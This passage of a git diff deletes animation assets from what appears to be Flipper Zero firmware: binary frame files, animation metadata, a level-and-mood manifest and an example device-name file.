a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_5.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_5.bm deleted file mode 100644 index 89a4cd6ac..000000000 Binary files a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_6.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_6.bm deleted file mode 100644 index c93ff6acd..000000000 Binary files a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_7.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_7.bm deleted file mode 100644 index fb6d9bd29..000000000 Binary files a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_8.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_8.bm deleted file mode 100644 index a0377f635..000000000 Binary files a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_9.bm b/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_9.bm deleted file mode 100644 index 06f66ab3a..000000000 Binary files a/assets/resources/dolphin/L3_Hijack_radio_128x64/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Hijack_radio_128x64/meta.txt b/assets/resources/dolphin/L3_Hijack_radio_128x64/meta.txt deleted file mode 100644 index 8af34cdc5..000000000 --- a/assets/resources/dolphin/L3_Hijack_radio_128x64/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 8 -Active frames: 8 -Frames order: 0 1 2 3 4 5 4 6 7 8 9 10 11 12 11 13 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 0 diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_0.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_0.bm deleted file mode 100644 index db283e81f..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_1.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_1.bm deleted file mode 100644 index c60074370..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_10.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_10.bm deleted file mode 100644 index 694302a9d..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_11.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_11.bm deleted file mode 100644 index 246b955cf..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_12.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_12.bm deleted file mode 100644 index b6fb1130b..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_13.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_13.bm deleted file mode 100644 index 561335413..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_2.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_2.bm deleted file mode 100644 index 1025137e4..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_3.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_3.bm deleted file mode 100644 index e623a1c0f..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_4.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_4.bm deleted file mode 100644 index 654a68e87..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_5.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_5.bm deleted file mode 100644 index 14eae4c1c..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_6.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_6.bm deleted file mode 100644 index 561335413..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_7.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_7.bm deleted file mode 100644 index c9b99a014..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_8.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_8.bm deleted file mode 100644 index 812db0d46..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/frame_9.bm b/assets/resources/dolphin/L3_Lab_research_128x54/frame_9.bm deleted file mode 100644 index 0cad9cc26..000000000 Binary files a/assets/resources/dolphin/L3_Lab_research_128x54/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin/L3_Lab_research_128x54/meta.txt b/assets/resources/dolphin/L3_Lab_research_128x54/meta.txt deleted file mode 100644 index efb2f9cd5..000000000 --- a/assets/resources/dolphin/L3_Lab_research_128x54/meta.txt +++ /dev/null @@ -1,59 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 54 -Passive frames: 6 -Active frames: 8 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 -Active cycles: 1 -Frame rate: 2 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 1 - -Slot: 0 -X: 71 -Y: 23 -Text: 7em!g!7j!\nVyP5?T- -AlignH: Left -AlignV: Center -StartFrame: 8 -EndFrame: 8 - -Slot: 0 -X: 71 -Y: 23 -Text: aUqF7sz!\n%9.mP5H -AlignH: Left -AlignV: Center -StartFrame: 9 -EndFrame: 9 - -Slot: 0 -X: 71 -Y: 23 -Text: 2%Kx2mV\nL8EyA84 -AlignH: Left -AlignV: Center -StartFrame: 10 -EndFrame: 10 - -Slot: 0 -X: 71 -Y: 23 -Text: U7%cRXr\nvbBa!_W1 -AlignH: Left -AlignV: Center -StartFrame: 11 -EndFrame: 11 - -Slot: 0 -X: 71 -Y: 23 -Text: 5rm_[K%\n!!(U9d$tE -AlignH: Left -AlignV: Center -StartFrame: 12 -EndFrame: 12 diff --git a/assets/resources/dolphin/manifest.txt b/assets/resources/dolphin/manifest.txt deleted file mode 100644 index bd344074d..000000000 --- a/assets/resources/dolphin/manifest.txt +++ /dev/null @@ -1,135 +0,0 @@ -Filetype: Flipper Animation Manifest -Version: 1 - -Name: L1_Waves_128x50 -Min butthurt: 0 -Max butthurt: 5 -Min level: 1 -Max level: 30 -Weight: 3 - -Name: L1_Laptop_128x51 -Min butthurt: 0 -Max butthurt: 7 -Min level: 2 -Max level: 30 -Weight: 3 - -Name: L1_Sleep_128x64 -Min butthurt: 0 -Max butthurt: 10 -Min level: 5 -Max level: 30 -Weight: 3 - -Name: L1_Recording_128x51 -Min butthurt: 0 -Max butthurt: 8 -Min level: 7 -Max level: 30 -Weight: 3 - -Name: L1_Furippa1_128x64 -Min butthurt: 0 -Max butthurt: 6 -Min level: 10 -Max level: 30 -Weight: 3 - -Name: L1_Read_books_128x64 -Min butthurt: 0 -Max butthurt: 8 -Min level: 8 -Max level: 30 -Weight: 3 - -Name: L1_Cry_128x64 -Min butthurt: 8 -Max butthurt: 13 -Min level: 12 -Max level: 30 -Weight: 3 - -Name: L1_Boxing_128x64 -Min butthurt: 10 -Max butthurt: 13 -Min level: 3 -Max level: 30 -Weight: 3 - -Name: L1_Mad_fist_128x64 -Min butthurt: 9 -Max butthurt: 13 -Min level: 4 -Max level: 30 -Weight: 3 - -Name: L1_Mods_128x64 -Min butthurt: 0 -Max butthurt: 9 -Min level: 15 -Max level: 30 -Weight: 4 - -Name: L1_Painting_128x64 -Min butthurt: 0 -Max butthurt: 7 -Min level: 18 -Max level: 30 -Weight: 3 - -Name: L1_Leaving_sad_128x64 -Min butthurt: 14 -Max butthurt: 14 -Min level: 21 -Max level: 30 -Weight: 3 - -Name: L2_Wake_up_128x64 -Min butthurt: 0 -Max butthurt: 12 -Min level: 22 -Max level: 30 -Weight: 4 - -Name: L2_Furippa2_128x64 -Min butthurt: 0 -Max butthurt: 6 -Min level: 20 -Max level: 30 -Weight: 3 - -Name: L2_Hacking_pc_128x64 -Min butthurt: 0 -Max butthurt: 8 -Min level: 24 -Max level: 30 -Weight: 3 - -Name: L2_Soldering_128x64 -Min butthurt: 0 -Max butthurt: 10 -Min level: 25 -Max level: 30 -Weight: 3 - -Name: L3_Furippa3_128x64 -Min butthurt: 0 -Max butthurt: 6 -Min level: 30 -Max level: 30 -Weight: 3 - -Name: L3_Hijack_radio_128x64 -Min butthurt: 0 -Max butthurt: 8 -Min level: 28 -Max level: 30 -Weight: 3 - -Name: L3_Lab_research_128x54 -Min butthurt: 0 -Max butthurt: 10 -Min level: 27 -Max level: 30 -Weight: 3 diff --git a/assets/resources/dolphin/name.txt.example b/assets/resources/dolphin/name.txt.example deleted file mode 100644 index e6cd3d8c0..000000000 --- a/assets/resources/dolphin/name.txt.example +++ /dev/null @@ -1,6 +0,0 @@ -Filetype: Flipper Name File -Version: 1 -# Changing the value below will change your FlipperZero device name. -# Note: This is limited to 8 characters using the following: a-z, A-Z, 0-9, and _ -# It cannot contain any other characters. -Name: \ No newline at end of file diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_0.bm deleted file mode 100644 index 5401e21b2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_1.bm deleted file mode 100644 index 49d9e5135..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_10.bm deleted file mode 100644 index 9f8e4fb7e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_11.bm deleted file mode 100644 index 38c7944ac..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_12.bm deleted file mode 100644 index ea234b0df..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_13.bm deleted file mode 100644 index a209cd8ff..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_14.bm deleted file mode 100644 index 2829185a3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_15.bm deleted file mode 100644 index bff1cf3e6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_16.bm deleted file mode 100644 index d234a954f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_17.bm deleted file mode 100644 index 30fdc120a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_18.bm deleted file mode 100644 index 094707228..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_19.bm deleted file mode 100644 index 01492a1b4..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_2.bm deleted file mode 100644 index 100611d9e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_20.bm deleted file mode 100644 index fadf12f27..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_21.bm deleted file mode 100644 index ea71be67e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_22.bm deleted file mode 100644 index 63283c34a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_23.bm deleted file mode 100644 index 843aed27c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_24.bm deleted file mode 100644 index ad87a3071..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_25.bm deleted file mode 100644 index 78de0389e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_26.bm deleted file mode 100644 index 81738cccf..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_27.bm deleted file mode 100644 index 32bb893ca..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_3.bm deleted file mode 100644 index 30b2bf584..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_4.bm deleted file mode 100644 index 4bcbb83bb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_5.bm deleted file mode 100644 index cebdd493c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_6.bm deleted file mode 100644 index c3b27b3b3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_7.bm deleted file mode 100644 index 70fe5f7df..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_8.bm deleted file mode 100644 index 4ab53bb30..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_9.bm deleted file mode 100644 index aeadd2f0f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/meta.txt deleted file mode 100644 index fb0fdb228..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/PaxGod_TikTok_Marketing/meta.txt +++ /dev/null @@ -1,13 +0,0 @@ -Filetype: Flipper Animation -Version: 1 -Width: 128 -Height: 64 -Passive frames: 21 -Active frames: 1 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 -Active cycles: 1 -Frame rate: 5 -Duration: 360 -Active cooldown: 7 - -Bubble slots: 0 \ No newline at end of file diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_0.bm deleted file mode 100644 index 7a2c59d07..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_1.bm deleted file mode 100644 index c8f257611..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_10.bm deleted file mode 100644 index 7caa58a3d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_11.bm deleted file mode 100644 index 85013c1f1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_12.bm deleted file mode 100644 index b932e0583..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_13.bm deleted file mode 100644 index c93bbb357..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_14.bm deleted file mode 100644 index 39bb23347..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_15.bm deleted file mode 100644 index 7042f7ef3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_16.bm deleted file mode 100644 index fad6d98d0..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_17.bm deleted file mode 100644 index 923dcccc4..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_18.bm deleted file mode 100644 index 0a60f3b79..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_19.bm deleted file mode 100644 index 2fde418eb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_2.bm deleted file mode 100644 index 3e84fea57..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_20.bm deleted file mode 100644 index ef485dd4a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_21.bm deleted file mode 100644 index 5eaa215b1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_22.bm deleted file mode 100644 index 6a8526b99..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_23.bm deleted file mode 100644 index 40b6654be..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_24.bm deleted file mode 100644 index e459aaf59..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_25.bm deleted file mode 100644 index 839c7ceef..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_26.bm deleted file mode 100644 index ae44ce634..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_27.bm deleted file mode 100644 index 9539893dc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_28.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_28.bm deleted file mode 100644 index 3135c4cc3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_29.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_29.bm deleted file mode 100644 index 1fb5b5ba5..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_3.bm deleted file mode 100644 index de1b0a063..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_30.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_30.bm deleted file mode 100644 index 8483c1184..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_4.bm deleted file mode 100644 index 42addcb02..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_5.bm deleted file mode 100644 index 189463bdc..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_6.bm deleted file mode 100644 index c4512929a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_1/frame_6.bm and /dev/null differ diff --git 